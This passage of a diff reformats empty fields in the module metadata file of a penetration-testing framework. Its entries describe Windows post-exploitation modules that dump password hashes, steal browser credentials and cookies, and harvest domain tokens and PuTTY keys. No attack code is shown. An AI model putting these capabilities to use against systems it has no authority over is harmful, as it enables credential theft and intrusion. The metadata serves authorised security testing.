300, "disclosure_date": null, "type": "post", @@ -275089,9 +244189,7 @@ "rageltman " ], "description": "This module will enumerate the AV products detected by WMIC", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275109,28 +244207,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_av_excluded": { "name": "Windows Antivirus Exclusions Enumeration", "fullname": "post/windows/gather/enum_av_excluded", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275139,9 +244229,7 @@ "Jon Hart " ], "description": "This module will enumerate the file, directory, process and\n extension-based exclusions from supported AV products, which\n currently includes Microsoft Defender, Microsoft Security\n Essentials/Antimalware, and Symantec Endpoint Protection.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275155,22 +244243,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_chocolatey_applications": { "name": "Windows Gather Installed Application Within Chocolatey Enumeration", "fullname": "post/windows/gather/enum_chocolatey_applications", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275178,9 +244261,7 @@ "Nick Cottrell " ], "description": "This module will enumerate all installed applications on a Windows system with chocolatey installed", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275201,25 +244282,19 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_chrome": { "name": "Windows Gather Google Chrome User Data Enumeration", "fullname": "post/windows/gather/enum_chrome", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275230,9 +244305,7 @@ "mubix " ], "description": "This module will collect user data from Google Chrome and attempt to decrypt\n sensitive information.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275246,22 +244319,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_computers": { "name": "Windows Gather Enumerate Computers", "fullname": "post/windows/gather/enum_computers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275269,9 +244337,7 @@ "Joshua Abraham " ], "description": "This module will enumerate computers included in the primary Active Directory domain.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275289,12 +244355,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -275302,16 +244364,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_db": { "name": "Windows Gather Database Instance Enumeration", "fullname": "post/windows/gather/enum_db", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275320,9 +244378,7 @@ "juan vazquez " ], "description": "This module will enumerate a windows system for installed database instances", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275336,22 +244392,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_devices": { "name": "Windows Gather Hardware Enumeration", "fullname": "post/windows/gather/enum_devices", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275359,9 +244410,7 @@ "Brandon Perry " ], "description": "Enumerate PCI hardware information from the registry. Please note this script\n will run through registry subkeys such as: 'PCI', 'ACPI', 'ACPI_HAL', 'FDC', 'HID',\n 'HTREE', 'IDE', 'ISAPNP', 'LEGACY'', LPTENUM', 'PCIIDE', 'SCSI', 'STORAGE', 'SW',\n and 'USB'; it will take time to finish. It is recommended to run this module as a\n background job.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275375,22 +244424,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_dirperms": { "name": "Windows Gather Directory Permissions Enumeration", "fullname": "post/windows/gather/enum_dirperms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275400,9 +244444,7 @@ "sinn3r " ], "description": "This module enumerates directories and lists the permissions set\n on found directories. Please note: if the PATH option isn't specified,\n then the module will start enumerate whatever is in the target machine's\n %PATH% variable.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275416,22 +244458,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain": { "name": "Windows Gather Enumerate Domain", "fullname": "post/windows/gather/enum_domain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275439,9 +244476,7 @@ "Joshua Abraham " ], "description": "This module identifies the primary Active Directory domain name\n and domain controller.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275459,12 +244494,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -275472,16 +244503,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain_group_users": { "name": "Windows Gather Enumerate Domain Group", "fullname": "post/windows/gather/enum_domain_group_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275490,9 +244517,7 @@ "Stephen Haywood " ], "description": "This module extracts user accounts from the specified domain group\n and stores the results in the loot. It will also verify if session\n account is in the group. Data is stored in loot in a format that\n is compatible with the token_hunter plugin. This module must be\n run on a session running as a domain user.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275510,27 +244535,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain_tokens": { "name": "Windows Gather Enumerate Domain Tokens", "fullname": "post/windows/gather/enum_domain_tokens", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275538,9 +244555,7 @@ "Carlos Perez " ], "description": "This module enumerates domain account tokens, processes running under\n domain accounts, and domain users in the local Administrators, Users\n and Backup Operator groups.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275558,27 +244573,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain_users": { "name": "Windows Gather Enumerate Active Domain Users", "fullname": "post/windows/gather/enum_domain_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275587,9 +244594,7 @@ "Ben Campbell " ], "description": "This module will enumerate computers included in the primary Domain and attempt\n to list all locations the targeted user has sessions on. If the HOST option is specified\n the module will target only that host. If the HOST is specified and USER is set to nil, all users\n logged into that host will be returned.'", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275603,22 +244608,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domains": { "name": "Windows Gather Domain Enumeration", "fullname": "post/windows/gather/enum_domains", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275626,9 +244626,7 @@ "mubix " ], "description": "This module enumerates currently the domains a host can see and the domain\n controllers for that domain.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275642,22 +244640,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_emet": { "name": "Windows Gather EMET Protected Paths", "fullname": "post/windows/gather/enum_emet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275665,9 +244658,7 @@ "vysec " ], "description": "This module will enumerate the EMET protected paths on the target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275681,22 +244672,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_files": { "name": "Windows Gather Generic File Collection", "fullname": "post/windows/gather/enum_files", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275705,9 +244691,7 @@ "RageLtMan " ], "description": "This module downloads files recursively based on the FILE_GLOBS option.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275721,22 +244705,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_hostfile": { "name": "Windows Gather Windows Host File Enumeration", "fullname": "post/windows/gather/enum_hostfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275744,9 +244723,7 @@ "vt " ], "description": "This module returns a list of entries in the target system's hosts file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275760,23 +244737,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_hyperv_vms": { "name": "Windows Hyper-V VM Enumeration", "fullname": "post/windows/gather/enum_hyperv_vms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275784,9 +244756,7 @@ "gwillcox-r7" ], "description": "This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all\n of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275804,27 +244774,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ie": { "name": "Windows Gather Internet Explorer User Data Enumeration", "fullname": "post/windows/gather/enum_ie", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275832,9 +244794,7 @@ "Kx499" ], "description": "This module will collect history, cookies, and credentials (from either HTTP\n auth passwords, or saved form passwords found in auto-complete) in\n Internet Explorer. The ability to gather credentials is only supported\n for versions of IE >=7, while history and cookies can be extracted for all\n versions.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275848,22 +244808,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_logged_on_users": { "name": "Windows Gather Logged On User Enumeration (Registry)", "fullname": "post/windows/gather/enum_logged_on_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275871,9 +244826,7 @@ "Carlos Perez " ], "description": "This module will enumerate current and recently logged on Windows users.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275891,12 +244844,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "powershell", @@ -275904,16 +244853,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ms_product_keys": { "name": "Windows Gather Product Key", "fullname": "post/windows/gather/enum_ms_product_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275921,9 +244866,7 @@ "Brandon Perry " ], "description": "This module will enumerate Microsoft product license keys.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275941,12 +244884,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -275954,16 +244893,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_muicache": { "name": "Windows Gather Enum User MUICache", "fullname": "post/windows/gather/enum_muicache", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275971,9 +244906,7 @@ "TJ Glad " ], "description": "This module gathers information about the files and file paths that logged on users have\n executed on the system. It also will check if the file still exists on the system. This\n information is gathered by using information stored under the MUICache registry key. If\n the user is logged in when the module is executed it will collect the MUICache entries\n by accessing the registry directly. If the user is not logged in the module will download\n users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are\n parsed from the downloaded hive.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275987,22 +244920,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_onedrive": { "name": "OneDrive Sync Provider Enumeration Module", "fullname": "post/windows/gather/enum_onedrive", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276010,9 +244936,7 @@ "Stuart Morgan " ], "description": "This module will identify the Office 365 OneDrive endpoints for both business and personal accounts\n across all users (providing access is permitted). It is useful for identifying document libraries\n that may otherwise not be obvious which could contain sensitive or useful information.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276033,24 +244957,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_patches": { "name": "Windows Gather Applied Patches", "fullname": "post/windows/gather/enum_patches", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276079,27 +244997,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_powershell_env": { "name": "Windows Gather PowerShell Environment Setting Enumeration", "fullname": "post/windows/gather/enum_powershell_env", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276128,12 +245038,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -276141,16 +245047,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_prefetch": { "name": "Windows Gather Prefetch File Information", "fullname": "post/windows/gather/enum_prefetch", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276158,9 +245060,7 @@ "TJ Glad " ], "description": "This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems\n and current values of related registry keys. From each prefetch file we'll collect\n filetime (converted to utc) of the last execution, file path hash, run count, filename\n and the execution path.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276174,22 +245074,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_proxy": { "name": "Windows Gather Proxy Setting", "fullname": "post/windows/gather/enum_proxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276197,9 +245090,7 @@ "mubix " ], "description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n for the specified SID and target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276217,12 +245108,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -276230,16 +245117,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_putty_saved_sessions": { "name": "PuTTY Saved Sessions Enumeration Module", "fullname": "post/windows/gather/enum_putty_saved_sessions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276247,9 +245130,7 @@ "Stuart Morgan " ], "description": "This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session\n information from the registry. PuTTY is very configurable; some users may have configured\n saved sessions which could include a username, private key file to use when authenticating,\n host name etc. If a private key is configured, an attempt will be made to download and store\n it in loot. It will also record the SSH host keys which have been stored. These will be connections that\n the user has previously after accepting the host SSH fingerprint and therefore are of particular\n interest if they are within scope of a penetration test.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276263,22 +245144,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_services": { "name": "Windows Gather Service Info Enumeration", "fullname": "post/windows/gather/enum_services", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276287,9 +245163,7 @@ "Kx499" ], "description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276307,12 +245181,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -276320,16 +245190,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_shares": { "name": "Windows Gather SMB Share Enumeration via Registry", "fullname": "post/windows/gather/enum_shares", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276337,9 +245203,7 @@ "Carlos Perez " ], "description": "This module will enumerate configured and recently used file shares.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276357,12 +245221,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", @@ -276370,16 +245230,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_snmp": { "name": "Windows Gather SNMP Settings", "fullname": "post/windows/gather/enum_snmp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276409,12 +245265,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", @@ -276422,16 +245274,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_termserv": { "name": "Windows Gather Terminal Server Client Connection Information Dumper", "fullname": "post/windows/gather/enum_termserv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276439,9 +245287,7 @@ "mubix " ], "description": "This module dumps MRU and connection data for RDP sessions", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276455,22 +245301,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_tokens": { "name": "Windows Gather Enumerate Domain Admin Tokens (Token Hunter)", "fullname": "post/windows/gather/enum_tokens", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276478,9 +245319,7 @@ "Joshua Abraham " ], "description": "This module enumerates Domain Admin account processes and delegation tokens.\n\n This module will first check if the session has sufficient privileges\n to replace process level tokens and adjust process quotas.\n\n The SeAssignPrimaryTokenPrivilege privilege will not be assigned if\n the session has been elevated to SYSTEM. In that case try first\n migrating to another process that is running as SYSTEM.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276498,27 +245337,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_tomcat": { "name": "Windows Gather Apache Tomcat Enumeration", "fullname": "post/windows/gather/enum_tomcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276526,9 +245357,7 @@ "Barry Shteiman " ], "description": "This module will collect information from a Windows-based Apache Tomcat. You will get\n information such as: The installation path, Tomcat version, port, web applications,\n users, passwords, roles, etc.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276542,22 +245371,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_trusted_locations": { "name": "Windows Gather Microsoft Office Trusted Locations", "fullname": "post/windows/gather/enum_trusted_locations", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276565,9 +245389,7 @@ "vysec " ], "description": "This module will enumerate the Microsoft Office trusted locations on the target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276581,22 +245403,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_unattend": { "name": "Windows Gather Unattended Answer File Enumeration", "fullname": "post/windows/gather/enum_unattend", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276627,23 +245444,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/exchange": { "name": "Windows Gather Exchange Server Mailboxes", "fullname": "post/windows/gather/exchange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276675,9 +245487,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" @@ -276697,9 +245507,7 @@ "post_windows/gather/file_from_raw_ntfs": { "name": "Windows File Gather File from Raw NTFS", "fullname": "post/windows/gather/file_from_raw_ntfs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276723,22 +245531,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/browser_history": { "name": "Windows Gather Skype, Firefox, and Chrome Artifacts", "fullname": "post/windows/gather/forensics/browser_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276746,9 +245549,7 @@ "Joshua Harper " ], "description": "Gathers Skype chat logs, Firefox history, and Chrome history data from the target machine.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276762,22 +245563,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/duqu_check": { "name": "Windows Gather Forensics Duqu Registry Check", "fullname": "post/windows/gather/forensics/duqu_check", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276802,22 +245598,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/enum_drives": { "name": "Windows Gather Physical Drives and Logical Volumes", "fullname": "post/windows/gather/forensics/enum_drives", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276825,9 +245616,7 @@ "Wesley McGrew " ], "description": "This module will list physical drives and logical volumes", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276841,22 +245630,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/fanny_bmp_check": { "name": "FannyBMP or DementiaWheel Detection Registry Check", "fullname": "post/windows/gather/forensics/fanny_bmp_check", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276885,28 +245669,20 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/imager": { "name": "Windows Gather Forensic Imaging", "fullname": "post/windows/gather/forensics/imager", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276914,9 +245690,7 @@ "Wesley McGrew " ], "description": "This module will perform byte-for-byte imaging of remote disks and volumes", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276930,22 +245704,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/nbd_server": { "name": "Windows Gather Local NBD Server", "fullname": "post/windows/gather/forensics/nbd_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276953,9 +245722,7 @@ "Wesley McGrew " ], "description": "Maps remote disks and logical volumes to a local Network Block Device server.\n Allows for forensic tools to be executed on the remote disk directly.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276969,22 +245736,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/forensics/recovery_files": { "name": "Windows Gather Deleted Files Enumeration and Recovering", "fullname": "post/windows/gather/forensics/recovery_files", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277008,22 +245770,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/get_bookmarks": { "name": "Bookmarked Sites Retriever", "fullname": "post/windows/gather/get_bookmarks", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277031,9 +245788,7 @@ "jerrelgordon" ], "description": "This module discovers information about a target by retrieving their bookmarked websites on Google Chrome, Opera and Microsoft Edge.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277051,27 +245806,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/hashdump": { "name": "Windows Gather Local User Account Password Hashes (Registry)", "fullname": "post/windows/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277079,9 +245826,7 @@ "hdm " ], "description": "This module will dump the local user accounts from the SAM database using the registry", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277095,22 +245840,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/local_admin_search_enum": { "name": "Windows Gather Local Admin Search", "fullname": "post/windows/gather/local_admin_search_enum", - "aliases": [ - - ], + 